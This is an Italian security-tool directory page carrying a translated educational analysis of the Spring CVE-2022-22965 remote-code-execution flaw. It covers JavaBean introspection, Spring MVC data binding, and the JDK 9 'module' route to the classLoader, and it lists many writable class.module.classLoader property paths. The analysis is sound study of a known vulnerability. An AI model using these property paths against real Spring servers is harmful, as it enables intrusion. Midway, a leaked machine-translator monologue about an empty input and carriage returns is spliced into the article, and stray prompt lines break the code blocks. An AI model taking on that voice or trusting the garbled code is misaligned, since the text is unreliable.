Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
spring-RCE-CVE-2022-22965 — Analisi didattica e proof-of-concept exploit per CVE-2022-22965, una vulnerabilità di esecuzione remota di codice in Spring MVC/WebFlux tramite data binding su JDK 9+ con distribuzione WAR su Tomcat. | Kitploit
Strumenti/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

Analisi didattica e proof-of-concept exploit per CVE-2022-22965, una vulnerabilità di esecuzione remota di codice in Spring MVC/WebFlux tramite data binding su JDK 9+ con distribuzione WAR su Tomcat.

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Panoramica della vulnerabilità

Recentemente, Spring ha rilasciato una vulnerabilità CVE di alto livello. Le informazioni sulla CVE indicano: "Un'applicazione Spring MVC o Spring WebFlux in esecuzione su JDK 9+ può essere vulnerabile a esecuzione di codice remoto (RCE) tramite data binding. Lo sfruttamento specifico richiede che l'applicazione venga eseguita su Tomcat come distribuzione WAR. Se l'applicazione viene distribuita come eseguibile JAR di Spring Boot, cioè il default, non è vulnerabile allo sfruttamento. Tuttavia, la natura della vulnerabilità è più generale e potrebbero esserci altri modi per sfruttarla." Questa analisi apprende il principio della vulnerabilità riproducendo la CVE.

API Java Bean

Prima di esaminare il principio di binding dei parametri di Spring MVC, diamo un'occhiata ad alcune API relative ai Java Bean.

  • Java Bean: in realtà è una specifica. Quando una classe soddisfa questa specifica, può essere richiamata da altre classi specifiche. Quando una classe viene utilizzata come Java Bean, contiene un insieme di proprietà private, e le operazioni di lettura/scrittura su queste proprietà vengono eseguite tramite i metodi pubblici get/is<XXXX>() o set<XXXX>(<PropertyType>).
  • Introspector: La classe Introspector fornisce un modo standard per gli strumenti di apprendere le proprietà, gli eventi e i metodi supportati da un Java Bean di destinazione. Per ciascuno di questi tre tipi di informazioni, l'Introspector analizzerà separatamente la classe del bean e le sue superclassi cercando informazioni esplicite o implicite e utilizzerà tali informazioni per costruire un oggetto BeanInfo che descriva in modo completo il bean di destinazione. (Il modo predefinito fornito da Java per le proprietà, gli eventi e i metodi di una classe Java Bean. Ad esempio, quando si cerca una proprietà/metodo di una classe bean, se non viene trovata nella classe bean corrente, si cerca nella classe padre del bean, ecc.)
  • BeanInfo: Introspect su un Java Bean e apprendere tutte le sue proprietà, metodi esposti ed eventi. Se la classe BeanInfo per un Java Bean è stata già introspettata in precedenza, la classe BeanInfo viene recuperata dalla cache BeanInfo.
  • PropertyDescriptor: Utilizzato per descrivere le proprietà esposte da un Java Bean tramite un insieme di metodi di accesso.
  • Dichiarazione di una classe Java Bean come segue:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    Usa il seguente codice di test per vedere le informazioni ottenute da Introspector.getBeanInfo:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    [No content provided to translate.]```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    Oltre a 'age' e quello previsti, c'è anche un attributo 'class', il nome della classe è Class, e se si continua a chiamare Introspector.getBeanInfo(Class.class) si possono ottenere ulteriori informazioni come classLoader, ecc.:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    Inoltre, confrontiamo le differenze delle informazioni ottenute da Introspector.getBeanInfo(Class.class) in diverse versioni di JDK: sopra c'è l'output di jdk-11, sotto quello di JDK8:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    " wait, the user's message shows:
    
    

    INPUT:

    root@kitploit:~
    
    It appears there is only a newline and then a carriage return (
    ). That might be empty content. The rules say translate only natural language text, and preserve all markdown. If the input is empty, then output should be empty as well.
    
    But let me double-check the user's message. After "INPUT:" there is a line with just a backtick? Actually the formatting is:
    
    

    INPUT:

    root@kitploit:~
    
    That is a backtick block. Inside: a blank line, then a carriage return character. So likely the chunk is empty or just a newline. Since we must preserve structure exactly, we output exactly the same: a blank line and then a newline? But the instruction says "Return ONLY the translated text. No preamble...". So I will output exactly the same as input: a blank line and then the carriage return? However in textual response, a carriage return is not typical. The input includes a literal carriage return character (
    ). In plain text, we can preserve that as is? But that might cause issues. Better to output exactly the same characters. Since the input is empty line followed by carriage return, the output should be the same.
    
    Given the rules: "Preserve ALL Markdown structure intact" and "Preserve exact formatting: whitespace, newlines". So I will output a blank line (a newline) and then a carriage return? But in markdown, a carriage return is often ignored. I think the safest is to output exactly the content as provided, which is a newline and a carriage return. However, the user's message shows a code block with triple backticks? Actually I see the formatting in the user message: they wrote \n\nINPUT:\n\n```\n\n\r\n``` \n\n. So the chunk is delimited by backticks, containing a blank line and then a carriage return. Since we are to return the translated text only, we should output the same content without the backticks. So output a blank line followed by a carriage return character. In plain text, that would be a blank line and then a line with a carriage return? But typically a carriage return is not visible. I think it's safe to output just a blank line (newline) because the carriage return is likely a formatting artifact. However, the instruction says "Preserve exact formatting: whitespace, newlines". The carriage return is a whitespace character. To be safe, I'll output a blank line (empty string followed by newline) and then the carriage return character. But in a text response, a carriage return may be interpreted as a newline. I'll output exactly: a newline character (empty line) and then a carriage return character. I'll represent it as:
    
    [empty line]
    [carriage return]
    
    But in the output, I cannot type a literal carriage return easily. However, the system expects text. I'll output a blank line (by typing a newline) and then a carriage return character using its unicode representation? No, that would change the literal. Better to output exactly what was in the input: a blank line and then a carriage return. Since the carriage return is a control character, it might be stripped by the system. The safest is to output a blank line. The user's input chunk is likely empty, so translation is empty. I'll output nothing? But the rules say preserve structure. If the input had a blank line and a carriage return, output same. I'll output a blank line.
    
    Given the ambiguity, I'll output a blank line (i.e., just a newline). That seems reasonable.
    
    Thus final response: just a newline? Actually I need to ensure no preamble. So I'll just output a newline character.```text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    Rispetto a JDK8, JDK9 ha due attributi aggiuntivi: module e packageName, mentre JDK11, oltre a module e packageName, ha altri due attributi: nestHost e nestMembers.

    data binding associazione dati

    Il processo di binding dei parametri nei framework web, in parole povere, è che il framework converte i parametri in forma di stringa nelle richieste HTTP nei tipi effettivamente necessari al server. Prendendo spring MVC come esempio: definire due classi Bean User e UserInfo:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    Utilizzare il seguente controller come test:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    Quando visitiamo /get-user-info?password=password&user.name=enokiy, il framework istanzia automaticamente la classe UserInfo e associa i valori corrispondenti alle proprietà corrispondenti (tramite user.name è possibile accedere annidato alla proprietà userInfo.user.name):

    Esaminiamo tramite debug l'intero flusso del data binding in Spring MVC: A partire dal metodo doDispatch di org.springframework.web.servlet.DispatcherServlet, nel metodo doDispatch, prima si ottiene mappedHandler in base alla richiesta, poi si ottiene HandlerAdapter, e chiamando il metodo handle() di HandlerAdapter si elabora la richiesta specifica e si restituisce ModelAndView:

    Qui, HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()), l'ha ottenuto è in realtà la classe org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter. Dopo aver eseguito il metodo handle() di HandlerAdapter, si entra nel metodo invokeHandleMethod di RequestMappingHandlerAdapter:

    Quindi nel metodo invokeHandleMethod, viene creata un'istanza di ServletInvocableHandlerMethod chiamata invocableMethod in base a handlerMethod, vengono impostati dataBinderFactory, modelFactory e argumentResolvers corrispondenti, quindi si passa ai metodi invokeAndHandle → invokeForRequest → getMethodArgumentValues di invocableMethod per risolvere tramite diversi risolutori di argomenti:

    I risolutori di argomenti qui sono i seguenti:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    Allora come sapere quale specifico risolutore di parametri utilizzare per risolvere i parametri nella richiesta corrente? In springmvc, la decisione si basa sulle informazioni delle annotazioni dei parametri (la logica del codice è nel metodo `HandlerMethodArgumentResolverComposite#getArgumentResolver`). Ad esempio, se si usano le annotazioni `@RequestMapping` e `@modelAttribute`, viene utilizzato `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor`; `@RequestParam` corrisponde a `RequestParamMethodArgumentResolver`, ecc.
    
    Nell'esempio corrente, l'annotazione utilizzata è `@RequestMapping`, quindi proseguiamo guardando il processo di binding dei parametri nella classe `ServletModelAttributeMethodProcessor`:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    Secondo il parametro della richiesta, si ottiene il nome del parametro nel model. Innanzitutto si verifica se il nome del parametro è presente in ModelAndViewContainer; se sì, si recupera direttamente l'attributo da ModelAndViewContainer, altrimenti si passa al metodo ServletModelAttributeMethodProcessor#createAttribute per creare l'attributo del model:

    • ServletModelAttributeMethodProcessor#createAttribute:

      Innanzitutto, all'interno della classe corrente, si verifica se l'URI e i parametri della richiesta contengono il nome dell'attributo (metodo getRequestValueForAttribute); se sì, viene restituito il valore, altrimenti si passa al metodo super.createAttribute:

    • binderFactory.createBinder: crea un WebRequestDataBinder

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters --> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind --> DataBinder#doBind --> DataBinder#applyPropertyValues --> DataBinder#getPropertyAccessor().setPropertyValues:

    Nel metodo DataBinder#doBind sono presenti alcuni controlli su allowFields e requiredFields; nella versione di test corrente sono vuoti per impostazione predefinita:

    In AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid), viene richiamato in ciclo il metodo AbstractPropertyAccessor#setPropertyValue per associare il valore di ogni parametro della richiesta. Durante l'associazione, se si scopre che il nome del parametro contiene un punto (.), è necessario chiamare ricorsivamente getNestedPropertyAccessor per associare gli attributi dopo il punto:

    Il processo di recupero ricorsivo dei valori degli attributi entra nel seguente flusso di elaborazione dei dati:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    Mentre in `getLocalPropertyHandler`, viene chiamato il metodo `getCachedIntrospectionResults` per cercare in `cachedIntrospectionResults` se esiste la proprietà corrente. Oltre alle proprietà della richiesta corrente, `cachedIntrospectionResults` contiene anche una proprietà di classe predefinita chiamata `class`:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    Come menzionato in precedenza riguardo al meccanismo di introspezione, quando si ottiene `BeanInfo`, se la classe `BeanInfo` del Java Bean è già stata sottoposta a introspezione, viene recuperata dalla cache di `BeanInfo`. Quindi il ruolo di `cachedIntrospectionResults` dovrebbe essere quello di implementare questa caratteristica:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    A questo punto, riassumiamo il processo di binding dei parametri in Spring MVC:
    
    1. Durante l'inizializzazione di Spring MVC, la classe `RequestMappingHandlerAdapter` aggiunge alcuni risolutori di parametri predefiniti ad `argumentResolvers`. Quando Spring MVC riceve una richiesta, entra in `DispatcherServlet.doDispatch`. Nel metodo `doDispatch`, si ottiene prima il `mappedHandler` in base alla richiesta, poi si ottiene il `HandlerAdapter`. Attraverso la chiamata al metodo `handle()` del `HandlerAdapter`, la richiesta viene elaborata specificamente e viene restituito `ModelAndView`. `ViewResolver` analizza e restituisce la `View`, mentre il front-end la renderizza definitivamente.
    ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    2. Durante l'elaborazione specifica della richiesta nel metodo `handle()` del `HandlerAdapter`, viene generata un'istanza di `ServletInvocableHandlerMethod` chiamata `invocableMethod` basata su `handlerMethod`. Vengono impostati `dataBinderFactory`, `modelFactory` e `argumentResolvers` appropriati. Successivamente, si entra nel metodo `invokeAndHandle` di `invocableMethod`, poi `invokeForRequest`, e infine `getMethodArgumentValues`, dove avviene l'analisi tramite diversi risolutori di parametri. I risolutori di parametri sono determinati in base alle informazioni delle annotazioni dei parametri.
    3. Il risolutore di parametri esegue l'analisi, generando prima un'istanza (proprietà) del nome del parametro del metodo handler corrispondente alla richiesta, quindi tramite `DataBinder` entra in `BeanWrapperImpl` per assegnare le proprietà del bean. `BeanWrapperImpl` implementa concretamente i metodi per creare, detenere e modificare le proprietà del bean.
    Il metodo `setPropertyValue` può iniettare il valore del parametro nella proprietà corrispondente del bean specificato (incluse list, map, ecc.), e può anche impostare valori di proprietà in modo annidato:
    
    ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    Sia il data binding di Spring MVC (binding di vari parametri ai parametri dei metodi handler annotati con `@RequestMapping`) che `BeanFactory` (gestione dell'annotazione `@Autowired`) utilizzano l'interfaccia `BeanWrapper`.
    
    ### Sovrascrittura di variabili
    
    Poiché il metodo `setPropertyValue` menzionato sopra, durante l'impostazione annidata delle proprietà, cerca in `cachedIntrospectionResults`, e in `cachedIntrospectionResults` oltre ai parametri della richiesta è presente anche una proprietà `class`, è possibile accedere alle proprietà di `ClassLoader` tramite `class.classLoader.xx` nella richiesta. Questa è la vulnerabilità CVE-2010-1622 nelle prime versioni di Spring. La CVE-2022-22965 è un bypass del meccanismo di protezione di questa vulnerabilità:
    
    La struttura di `cachedIntrospectionResults` è la seguente:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. Le informazioni sulle proprietà di `BeanClass` vengono estratte tramite `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)`. Poiché il metodo `Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO)` non specifica `stopClass`, quando la proprietà non viene trovata nella classe corrente, si risale alla classe padre.
    2. Le proprietà `ClassLoader` e `protectionDomain` della classe `Class` vengono disabilitate. Questa è la misura di difesa per CVE-2010-1622.
    
    All'inizio dell'articolo è stato confrontato che i valori delle proprietà ottenuti tramite `Introspector.getBeanInfo(xxx)` differiscono in diverse versioni di JDK. Nelle versioni JDK 9 e successive, sono state aggiunte due proprietà: `module` e `packageName`. Sotto la proprietà `module` esiste la proprietà `classLoader`, quindi è possibile utilizzare la proprietà `module` per accedere a `ClassLoader`, bypassando così la difesa di CVE-2010-1622 per eseguire la sovrascrittura di variabili:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### Sfruttamento della vulnerabilità
    
    Dopo aver compreso che la causa principale di questa vulnerabilità è la sovrascrittura di variabili, esaminiamo i problemi nel processo di sfruttamento:
    
    1. Quali variabili possono essere sovrascritte?
    2. Quali sono gli effetti delle variabili sovrascritte?
    
    Ora sappiamo che è possibile eseguire operazioni di sovrascrittura di variabili tramite `class.module.classLoader`. Quali variabili specifiche possono essere sovrascritte? In diversi scenari di distribuzione di Spring MVC, il `classLoader` è diverso, quindi i metodi di sfruttamento non sono universali.
    
    | Forma di distribuzione | classLoader|
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    In una distribuzione war di Tomcat (ambiente di test corrente: "apache-tomcat-8.5.8" + "jdk-11.0.1"), le proprietà leggibili e scrivibili accessibili sotto `class.module` sono le seguenti (non esaustive, non sono state raccolte proprietà di tipo List/Map/Set):
    <details>
    <summary>
    Clicca per vedere le proprietà leggibili e scrivibili accessibili sotto class.module
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.unpackWAR
    class.module.classLoader.resources.context.useHttpOnly
    class.module.classLoader.resources.context.useNaming
    class.module.classLoader.resources.context.useRelativeRedirects
    class.module.classLoader.resources.context.validateClientProvidedNewSessionId
    class.module.classLoader.resources.context.webappVersion
    class.module.classLoader.resources.context.workDir
    class.module.classLoader.resources.context.wrapperClass
    class.module.classLoader.resources.context.xmlBlockExternal
    class.module.classLoader.resources.context.xmlNamespaceAware
    class.module.classLoader.resources.context.xmlValidation
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.authenticator.alwaysUseSession
    class.module.classLoader.resources.context.authenticator.asyncSupported
    class.module.classLoader.resources.context.authenticator.cache
    class.module.classLoader.resources.context.authenticator.changeSessionIdOnAuthentication
    class.module.classLoader.resources.context.authenticator.container
    class.module.classLoader.resources.context.authenticator.disableProxyCaching
    class.module.classLoader.resources.context.authenticator.domain
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.securePagesWithPragma
